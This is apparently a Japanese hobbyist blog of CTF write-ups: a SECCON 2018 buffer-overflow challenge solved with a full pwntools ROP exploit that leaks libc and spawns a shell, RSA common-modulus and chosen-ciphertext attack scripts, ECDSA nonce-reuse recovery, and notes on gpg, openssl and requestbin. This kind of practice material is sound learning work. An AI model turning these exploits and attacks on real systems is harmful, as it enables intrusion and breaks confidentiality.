生き恥

生きるは恥だが役に立つ

SECCON2018 Classic Pwnのふくしゅう

SECCON2018 Classic Pwn

当日は仮想通貨ガチャ回していて取り組めなかったし、取り組んでいてもどのみち解けなかったと思う。最近pwn欲はあまりないが、Classic Pwnくらいは一般教養として復習しておこうと思った。

Classic Pwn

まずはfileコマンドから。

$ file classic_aa9e979fd5c597526ef30c003bffee474b314e22
classic_aa9e979fd5c597526ef30c003bffee474b314e22: ELF 64-bit LSB  executable, x86-64, version 1 (SYSV), dynamically linked (uses shared libs), for GNU/Linux 2.6.32, BuildID[sha1]=a8a02d460f97f6ff0fb4711f5eb207d4a1b41ed8, not stripped

次にchecksecの結果を確認。

gdb-peda$ checksec
CANARY    : disabled
FORTIFY   : disabled
NX        : ENABLED
PIE       : disabled
RELRO     : Partial

強い先輩が、実行ファイルが渡されたらとりあえずバッファオーバーフローさせるか、書式文字列ブチ込めって言っていたのでやってみる。

$ python -c "print('A' * 1000)" | ./classic_aa9e979fd5c597526ef30c003bffee474b314e22

バッファオーバーフローした。 pattcでパターン文字列を使ってオフセットを調べる。

gdb-peda$ pattc 100
'AAA%AAsAABAA$AAnAACAA-AA(AADAA;AA)AAEAAaAA0AAFAAbAA1AAGAAcAA2AAHAAdAA3AAIAAeAA4AAJAAfAA5AAKAAgAA6AAL'
gdb-peda$ r <<< 'AAA%AAsAABAA$AAnAACAA-AA(AADAA;AA)AAEAAaAA0AAFAAbAA1AAGAAcAA2AAHAAdAA3AAIAAeAA4AAJAAfAA5AAKAAgAA6AAL'
gdb-peda$ patto "IAAeAA4AAJAAfAA5AAKAAgAA6AAL"
IAAeAA4AAJAAfAA5AAKAAgAA6AAL found at offset: 72

RSPの値"IAAeAA4AAJAAfAA5AAKAAgAA6AAL"までのオフセットが72バイトであることがわかる。
次に攻撃に利用できそうな関数を探す。探す方法はいくつかあると思うが、以下のコマンドで割と綺麗に探せるようなので実行してみた。

$ objdump -d -M intel -j .plt --no classic_aa9e979fd5c597526ef30c003bffee474b314e22

classic_aa9e979fd5c597526ef30c003bffee474b314e22:     file format elf64-x86-64


Disassembly of section .plt:

0000000000400510 <puts@plt-0x10>:
  400510:   push   QWORD PTR [rip+0x200af2]        # 601008 <_GLOBAL_OFFSET_TABLE_+0x8>
  400516:   jmp    QWORD PTR [rip+0x200af4]        # 601010 <_GLOBAL_OFFSET_TABLE_+0x10>
  40051c:   nop    DWORD PTR [rax+0x0]

0000000000400520 <puts@plt>:
  400520:   jmp    QWORD PTR [rip+0x200af2]        # 601018 <_GLOBAL_OFFSET_TABLE_+0x18>
  400526:   push   0x0
  40052b:   jmp    400510 <_init+0x28>

0000000000400530 <setbuf@plt>:
  400530:   jmp    QWORD PTR [rip+0x200aea]        # 601020 <_GLOBAL_OFFSET_TABLE_+0x20>
  400536:   push   0x1
  40053b:   jmp    400510 <_init+0x28>

0000000000400540 <printf@plt>:
  400540:   jmp    QWORD PTR [rip+0x200ae2]        # 601028 <_GLOBAL_OFFSET_TABLE_+0x28>
  400546:   push   0x2
  40054b:   jmp    400510 <_init+0x28>

0000000000400550 <__libc_start_main@plt>:
  400550:   jmp    QWORD PTR [rip+0x200ada]        # 601030 <_GLOBAL_OFFSET_TABLE_+0x30>
  400556:   push   0x3
  40055b:   jmp    400510 <_init+0x28>

0000000000400560 <gets@plt>:
  400560:   jmp    QWORD PTR [rip+0x200ad2]        # 601038 <_GLOBAL_OFFSET_TABLE_+0x38>
  400566:   push   0x4
  40056b:   jmp    400510 <_init+0x28>

まず、pop rdi -> puts@got -> puts@plt -> mainして libc のベースアドレスをリークさせる。ついでにsystem関数のアドレスも求めておく。

payload = "A" * 72
payload += p64(popret)
payload += p64(elf.got["gets"])
payload += p64(elf.plt["puts"])
payload += p64(elf.symbols["main"]) 
... 
leak_addr = u64(conn.recv(6) + "\x00\x00")
libc_base = leak_addr - libc.symbols["gets"]
system_addr = libc_base + libc.symbols["system"]

"pop rdi; ret"gdb-pedaの中で以下のように調べることができる。

gdb-peda$ b main
Breakpoint 1 at 0x4006ad
gdb-peda$ r
gdb-peda$ ropsearch "pop rdi"
Searching for ROP gadget: 'pop rdi' in: binary ranges
0x00400753 : (b'5fc3')  pop rdi; ret

次にpop rdi->/bin/sh addrしてsystem("/bin/sh")を呼び出しておわり。

payload = "A" * 72
payload += p64(popret)
payload += p64(libc_base + next(libc.search('/bin/sh')))
payload += p64(system_addr)
payload += p64(0xdeadbeef)

最終的に以下のコードを実行してシェルを取り、幸せになったらおわり。 (コードについては こちらのブログのものがわかりやすかったので使わせていただきました。)

from pwn import *

def main():
    conn = process("./classic_aa9e979fd5c597526ef30c003bffee474b314e22")
    elf = ELF("./classic_aa9e979fd5c597526ef30c003bffee474b314e22")
    libc = ELF("./libc-2.23.so_56d992a0342a67a887b8dcaae381d2cc51205253")

    popret = 0x400753

    payload = "A" * 72
    payload += p64(popret)
    payload += p64(elf.got["gets"])
    payload += p64(elf.plt["puts"])
    payload += p64(elf.symbols["main"]) 

    conn.recvuntil(">> ")
    conn.sendline(payload)
    conn.recvuntil("Have a nice pwn!!\n")

    leak_addr = u64(conn.recv(6) + "\x00\x00")
    libc_base = leak_addr - libc.symbols["gets"]
    system_addr = libc_base + libc.symbols["system"]
    print "libc_base: " + hex(libc_base)
    print "system_addr: " + hex(system_addr)

    payload = "A" * 72
    payload += p64(popret)
    payload += p64(libc_base + next(libc.search('/bin/sh')))
    payload += p64(system_addr)
    payload += p64(0xdeadbeef)

    conn.recvuntil(">> ")
    conn.sendline(payload)
    conn.interactive()

if __name__ == "__main__":
    main()

おわり。若干消化不良なところもあるので強いパイセンに聞いて追記しようと思う。

参考

http://shift-crops.hatenablog.com/entry/2018/11/05/042149#Classic-Pwn-Exploit-121-197-solves http://ywkw1717.hatenablog.com/entry/2018/10/28/185936 http://yuta1024.hateblo.jp/entry/2018/11/01/215302 https://osanamity.net/2018/11/06/110940

squarectf2018 writeup

なかなか時間が確保できない今日この頃だが、脳死で解けそうなcrypto問があったので一応解いておいた。

C2: flipping bits

以下問題文。

Disabling C2 requires cracking a RSA message. You have two ciphertexts. The public key is (e1, n).

Fortunately (this time), space rabiation caused some bit flibs and the second ciphertext was encrypted with a faulty public key (e2, n). Can you recover the plaintexts?

ダウンロードしたjarを展開すると以下の内容のテキストファイルが出てくる。

ct1:  13981765388145083997703333682243956434148306954774120760845671024723583618341148528952063316653588928138430524040717841543528568326674293677228449651281422762216853098529425814740156575513620513245005576508982103360592761380293006244528169193632346512170599896471850340765607466109228426538780591853882736654
ct2:  79459949016924442856959059325390894723232586275925931898929445938338123216278271333902062872565058205136627757713051954083968874644581902371182266588247653857616029881453100387797111559677392017415298580136496204898016797180386402171968931958365160589774450964944023720256848731202333789801071962338635072065
e1:  13
e2:  15
modulus:  103109065902334620226101162008793963504256027939117020091876799039690801944735604259018655534860183205031069083254290258577291605287053538752280231959857465853228851714786887294961873006234153079187216285516823832102424110934062954272346111907571393964363630079343598511602013316604641904852018969178919051627

You have two captured ciphertexts. The public key is (e1, n). But,
due to a transient bit flip, the second ciphertext was encrypted with a faulty
public key: (e2, n). Recover the plaintexts.

(The algorithm is RSA.)

bit flipとか書いてあってめんどくさそうな気がめちゃくちゃしたが、とりあえずRSA問ということで、いつもどおり使える攻撃が何かないか探してみる。 elliptic-shiho.hatenablog.com 今回はm(平文)nが共通でeが異なるc(暗号文)の組みがあるので、Common Modulus Attackが利用できそう。
適当にコードを書く。(勢い余ってpython2で書いてしまった)

import sys
import gmpy
import binascii

def common_modulus_attack(c1, c2, e1, e2, n):
    gcd, s1, s2 = gmpy.gcdext(e1, e2)
    if s1 < 0:
        s1 = -s1
        c1 = gmpy.invert(c1, n)
    elif s2 < 0:
        s2 = -s2
        c2 = gmpy.invert(c2, n)
    v = pow(c1, s1, n)
    w = pow(c2, s2, n)
    m = (v * w) % n
    return m


if __name__ == '__main__':
    n = 103109065902334620226101162008793963504256027939117020091876799039690801944735604259018655534860183205031069083254290258577291605287053538752280231959857465853228851714786887294961873006234153079187216285516823832102424110934062954272346111907571393964363630079343598511602013316604641904852018969178919051627

    e1 = 13
    e2 = 15

    c1 = 13981765388145083997703333682243956434148306954774120760845671024723583618341148528952063316653588928138430524040717841543528568326674293677228449651281422762216853098529425814740156575513620513245005576508982103360592761380293006244528169193632346512170599896471850340765607466109228426538780591853882736654

    c2 = 79459949016924442856959059325390894723232586275925931898929445938338123216278271333902062872565058205136627757713051954083968874644581902371182266588247653857616029881453100387797111559677392017415298580136496204898016797180386402171968931958365160589774450964944023720256848731202333789801071962338635072065

    print binascii.unhexlify(hex(common_modulus_attack(c1, c2, e1, e2, n))[2:])

解けた。FLAGはflag-54d3db5c1efcd7afa579c37bcb560ae0

所感

スコアリングの方式は謎だったが、問題の難易度的にはクソ雑魚の自分でも楽しめるくらいだったようだ。(そろそろ難しい問題にも挑戦していけ!?)
来年もできれば参加したい。

requestbin復活の呪文

requestbin復活の儀式

requestbinがいつか忘れたけどサービス終了してしてまって悲しいので復活方法を自分用メモとして残しておく。 github.com

Digitalocean設定手順(任意)

[Create]ボタンからテキトーにDropletをcreateしていく。スペックはテキトーに選択し、OSはテキトーにCentOS7系を選んどけば動く。
すでに登録したSSH Keyがあれがそれを選択するのも忘れずに。鍵を設定しておけば以下のようにsshできる。(どのユーザー名でログインできるのか大体わすれる)

$ ssh -i [秘密鍵] root@[IPアドレス]

必要に応じでDNSの設定も変更しておく。[Networking]から設定したいDomainを選択し、Aレコードを今回立ち上げたDropletのipアドレスに変更しておく。
(そもそものDigitalOceanでDNS周りを設定する方法はこちらを参考にしていただければ幸いです。

requestbinの復活

requetbinを起動していく。とりあえず各コマンドを雑に実行していく。(怒られそう)

$ sudo yum install git
$ sudo yum install docker-ce
$ sudo systemctl start docker
$ git clone https://github.com/Runscope/requestbin.git
$ curl -L https://github.com/docker/compose/releases/download/1.12.0/docker-compose-`uname -s`-`uname -m` > docker-compose
$ sudo chmod +x  docker-compose
$ cd requestbin/
$ sudo ../docker-compose build
$ sudo ../docker-compose up -d

docker周りで上手く行かなかったらテキトーにココを見て設定する。最後に[IPアドレス]:8000にアクセスできればおわり。

参考

id0-rsa.pubのメモ【ECDSA Nonce Recovery】

ECDSA Nonce Recovery

same k attackの話。以下問題文。

As part of signing something using DSA (digital signature algorithm) one must select a secret, cryptographically secure random number k to be used as a nonce. k must never be reused. Why you ask? Well you could ask Sony, or I could just tell you that you can recover k given two signature / message pairs that used the same k and signing key, which can lead to the signing key being compromised. I've signed two messages (z1,z2) with the same k (using the NIST curve P-192), resulting in the signatures (s1,r1) and (s2,r2). Your job is to recover k

(submit your answer in hex). Some reading to get started (of most relevance is section 2.3).

z1 = 78963682628359021178354263774457319969002651313568557216154777320971976772376
s1 = 5416854926380100427833180746305766840425542218870878667299
r1 = 5568285309948811794296918647045908208072077338037998537885

z2 = 62159883521253885305257821420764054581335542629545274203255594975380151338879
s2 = 1063435989394679868923901244364688588218477569545628548100
r2 = 5568285309948811794296918647045908208072077338037998537885

n = 6277101735386680763835789423176059013767194773182842284081

same k attackとは、ECDSA、DSA、ElGamal署名あたりの署名アルゴリズムで、二つの別々のメッセージに同じ乱数kで署名を行った場合、kを復元可能という攻撃手法?のこと。割とCTFでは頻出っぽい。(SECCON Beginners2018やVolga CTF 2017でも同様の問題が出題されていた)
とりあえず過去のsolverにブチ込む。以下のような感じで解いてみた。

z1 = 78963682628359021178354263774457319969002651313568557216154777320971976772376
s1 = 5416854926380100427833180746305766840425542218870878667299
r1 = 5568285309948811794296918647045908208072077338037998537885
z2 = 62159883521253885305257821420764054581335542629545274203255594975380151338879
s2 = 1063435989394679868923901244364688588218477569545628548100
r2 = 5568285309948811794296918647045908208072077338037998537885
n = 6277101735386680763835789423176059013767194773182842284081

def inv(x):
  return pow(x, n-2, n)

k = (z1-z2)*inv(s1-s2) % n
print(hex(k))

最初全然Acceptにならなくて困っていたけど、どうやらnを法として計算しないとダメらしい。(ここで初めてnの利用用途に気づく...)
なぜ上記の方程式で復元できるのかはあまりわかっていないので時間があるときにまた調べたい。あと、以前PS3でこの攻撃手法が使えたっぽいことに驚いた。(cryptoも物によっては意外と身近なんだなあ)

参考

id0-rsa.pubのメモ【Intro to PGP】

Intro to PGP

gpgコマンドの使い方の話。
基本的には書かれている内容に沿ってすすめるだけだが、一部不明な点があったので以下の記事も参考に進めた。 qiita.com まず鍵サーバーpgp.mit.eduでid0rsa.pub.gmailを検索するとkeyIDがA81B09D4だとわかる。

鍵サーバーから公開鍵を受信する。

$ gpg --keyserver pgp.mit.edu --recv-keys A81B09D

あとはmessage.ascとして保存したメッセージを確認して終了。

$ gpg -o out.txt -d message.asc
$ cat out.txt
Thank you Phil Zimmermann!

参考

https://qiita.com/spiegel-im-spiegel/items/079d69282166281eb946

id0-rsa.pubのメモ【Hello OpenSSL】

Hello OpenSSL

opensslコマンドの使い方の話。以下問題文。

This is an RSA key

-----BEGIN RSA PRIVATE KEY-----
MIGtAgEAAiEA5tygpSZdOZUMfuO3oTGWR4cALBtWui5UzrQw2/8JlZ0CAwEAAQIh
AI9n4Yp1KFfKlHaF8d15tgUONQXn+e3aI+beFKoi2XipAhEA/ZkHPmcDwXIqloGr
minb1wIRAOkMdv7emMGd08gwwOQ6i6sCEQC0pjcXx9BQFCCsWDDCwAC/AhEAxYcn
JQeO+izH4JpSJB/rWQIRAOO9m6JHEWgzLYD+fe003vw=
-----END RSA PRIVATE KEY-----

It was generated with the command $ openssl genrsa 256. A secret 64 bit number was encrypted with this key, resulting in this cipher text
6794893f3c47247262e95fbed846e1a623fc67b1dd96e13c7f9fc3b880642e42
Recover the secret number (in lowercase hex).

opensslコマンド

opensslコマンドの書式について以下にまとめる。[ ]内は省略可能。

openssl [サブコマンド] [オプション]

主なサブコマンド

サブコマンド 説明
ca 認証局の証明書を管理
crl CRLを管理
dgst メッセージダイジェストを計算
genrsa RSA秘密鍵を生成
md5 MD5ダイジェスト
pkcs12 PKCS#12形式のファイルの作成と管理
req X.509証明書署名要求(CSR)を管理
rsa RSA秘密鍵を管理
rsautl RSAアルゴリズムを使用したメッセージの署名、検証、暗号化および復号
s_client SSL/TLSプロトコルを使用して指定サーバに接続
s_server SSL/TLSプロトコルを使用してメッセージを受信するサーバーとして動作
version OpenSSLのバージョン情報を表示
x509 X.509証明書データを管理

公開鍵と秘密鍵の生成

opensslでは、秘密鍵と公開鍵の作成や、それらを利用した暗号化と復号が可能。
サブコマンドとして、genrsa、rsa、rsautlを利用する。

genrsa

genrsaはRSA秘密鍵を生成するサブコマンド。

openssl genrsa [オプション]

主なオプション

オプション 説明
-out <ファイル名> 生成したRSA形式の秘密鍵を出力するファイル名を指定。指定がない場合は標準出力に表示
-des 暗号化にDESを使用
-des3 暗号化にTripleDESを使用
-idea 暗号化にIDEAを使用
ビット数 生成するRSA形式の秘密鍵のビット数。指定がない場合は512ビット

rsa

rsaRSAの鍵を管理するサブコマンド。

openssl rsa [オプション]

主なオプション

オプション 説明
-in <ファイル名> 生成したRSA形式の秘密鍵のファイル名を指定。指定がない場合は標準入力から読み込む
-noout エンコードされた鍵を表示しない
-out <ファイル名> RSA形式の秘密鍵を出力するファイル名を指定。指定がない場合は標準出力に表示
-pubin <ファイル名> 生成したRSA形式の公開鍵ファイル名を指定。指定がない場合は標準入力から読み込む
-pubout 秘密鍵とペアとなる公開鍵を標準出力
-text テキスト形式で表示
-des 暗号化にDESを使用
-des3 暗号化にTripleDESを使用
-idea 暗号化にIDEAを使用

rsautl

rsautlはRSAによるメッセージの署名、検証、暗号化、復号を行うサブコマンド。

openssl rsautl [オプション]

主なオプション

オプション 説明
-decrypt ファイルの復号を行う
-encrypt ファイルの暗号化を行う
-in <ファイル名> 暗号化もしくは復号対象のファイル名を指定
-inkey <ファイル名> 秘密鍵とペアとなる公開鍵を標準出力
-out <ファイル名> 暗号化もしくは復号したファイルの内容を出力するファイル名を指定。指定がない場合は標準出力に表示
-pubin 公開鍵ファイルを入力する場合に指定

solution

長々とopensslのコマンド、オプションを書いたが、今回は与えられた秘密鍵をprivate.keyとして保存して以下のコマンドを実行すればOK。

printf "6794893f3c47247262e95fbed846e1a623fc67b1dd96e13c7f9fc3b880642e42" | xxd -r -p | openssl rsautl -inkey private.key -raw -decrypt | xxd -p -c 8 | tail -n 1

おわりに

気が向いたら証明書周りのサブコマンドも書く。

参考

2年前くらいにLPIC Level3 303 を取得したときに使っていた以下の本を参考に書きました。 www.amazon.co.jp

id0-rsa.pubのメモ【CCA on Textbook RSA】

CCA on Textbook RSA

以下問題文。

You've recovered this ciphertext being sent to a server:

912fcd40a901aa4b7b60ec37ce6231bb87783b0bf36f824e51fe77e9580ce1adb5cf894410ff87684969795525a63e069ee962182f3ff876904193e5eb2f34b20cfa37ec7ae0e9391bec3e5aa657246bd80276c373798885e5a986649d27b9e04f1adf8e6218f3c805c341cb38092ab771677221f40b72b19c75ad312b6b95eafe2b2a30efe49eb0a5b19a75d0b31849535b717c41748a6edd921142cfa7efe692c9a776bb4ece811afbd5a1bbd82251b76e76088d91ed78bf328c6b608bbfd8cf1bdf388d4dfa4d4e034a54677a16e16521f7d0213a3500e91d6ad4ac294c7a01995e1128a5ac68bfc26304e13c60a6622c1bb6b54b57c8dcfa7651b81576fc
It was encrypted with textbook RSA. The server's public key is:
-----BEGIN PUBLIC KEY-----
MIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEAqalgjUvRvu7jzhFRzC0a
crh232Pkn3CqyNrlBPWRfKr3n1oWrloLj8LlWbZGj7SbZI0Clm6iMAPyCNdWtjER
LYauhV4Eguff29XpDQbVa1gSNtuam9UkLy7KgrXC+VKIUK2+eLfRg+Kx7jsuifJF
M56IBGdAoNBQSfV2o3rKqUUMUcd89bW6heVyOcKgVY7rofDmBnrTucZQCHtrNepy
64rGjABdSjikx9jUDLKRWUqDIf9sCHiBKmWag1n3Z2XNVZcVluwgGjBjjznFIwhe
E8dVnQciROpw34Tze6gTGVF2/GLHWGN4OD9aUpOwP1RDJl3451BfJ5/lYG02vPFH
+QIDAQAB
-----END PUBLIC KEY-----
The server will also decrypt any ciphertext that it's asked to, other than the original. To get the plaintext associated with a ciphertext, encode the ciphertext into the url:
https://id0-rsa.pub/problem/rsa_oracle/[message]
where the message is the ciphertext as a hex string. Recover the original message, and submit it as a lower-case hex string.

https://id0-rsa.pub/problem/rsa_oracle/[message]このURLに暗号文をくっつけて送ると復号してくれるらしい。しかし、肝心の与えられた暗号文を送ると403が返ってくるので困る。。。
与えられた暗号文をc1、平文をm1とすると、c1 = ( m1 ** e ) % Nとなる。また、公開鍵が用意されているので、平文m2を用意し、m2の暗号文をc2とすると、c2 = (m2 ** e) % Nとなる。
ここで、(c1 * c2) % Nc12としてRSAによる復号を行うと、平文m12は以下のようになる。

m12 = (c1 * c2) % N = (((m1 ** e) * (m2 ** e))**d) % N = (m1 * m2) % N

よってm1 = m12 // m2となり、与えられた暗号文の平文を求めることができる。
まず、公開鍵の中身を確認してeNを確認。

openssl rsa -text -noout -pubin -in pub.key

あとは先ほど示した手順をプログラムで書く。

import requests

def decrypt(ciphertext):
    return requests.get("https://id0-rsa.pub/problem/rsa_oracle/{}".format(ciphertext)).text

ciphertext = "912fcd40a901aa4b7b60ec37ce6231bb87783b0bf36f824e51fe77e9580ce1adb5cf894410ff87684969795525a63e069ee962182f3ff876904193e5eb2f34b20cfa37ec7ae0e9391bec3e5aa657246bd80276c373798885e5a986649d27b9e04f1adf8e6218f3c805c341cb38092ab771677221f40b72b19c75ad312b6b95eafe2b2a30efe49eb0a5b19a75d0b31849535b717c41748a6edd921142cfa7efe692c9a776bb4ece811afbd5a1bbd82251b76e76088d91ed78bf328c6b608bbfd8cf1bdf388d4dfa4d4e034a54677a16e16521f7d0213a3500e91d6ad4ac294c7a01995e1128a5ac68bfc26304e13c60a6622c1bb6b54b57c8dcfa7651b81576fc"
cipher = int(ciphertext, 16)

N = 21417796527836084184909381847347996579544574856536138887095572895605838936183797133497945149041143747935697840040038878051837066916098917830507702189036474052559440023560073044871506915412125924451079846179181310933243078160174081203833277764294560781167257508183474040791469949490073063621508350223394644084480243319785802072416191661242887403456436340352491914665462451622845195529700750590231557792010569404312659993869936897967297972271825868537334316050945924043213637990528504616783764719232801862604492419501841834817152625201356251989468366357139655821655574801663780279380761798039447128430604777726363650041
e = 65537

c1 = cipher
m2 = 3
c2 = (m2 ** e) % N

c12 = (c1 * c2) % N
m12 = int(decrypt(hex(c12)[2:]), 16)

m1 = m12 // m2
solution = hex(m1)[2:]
print(solution)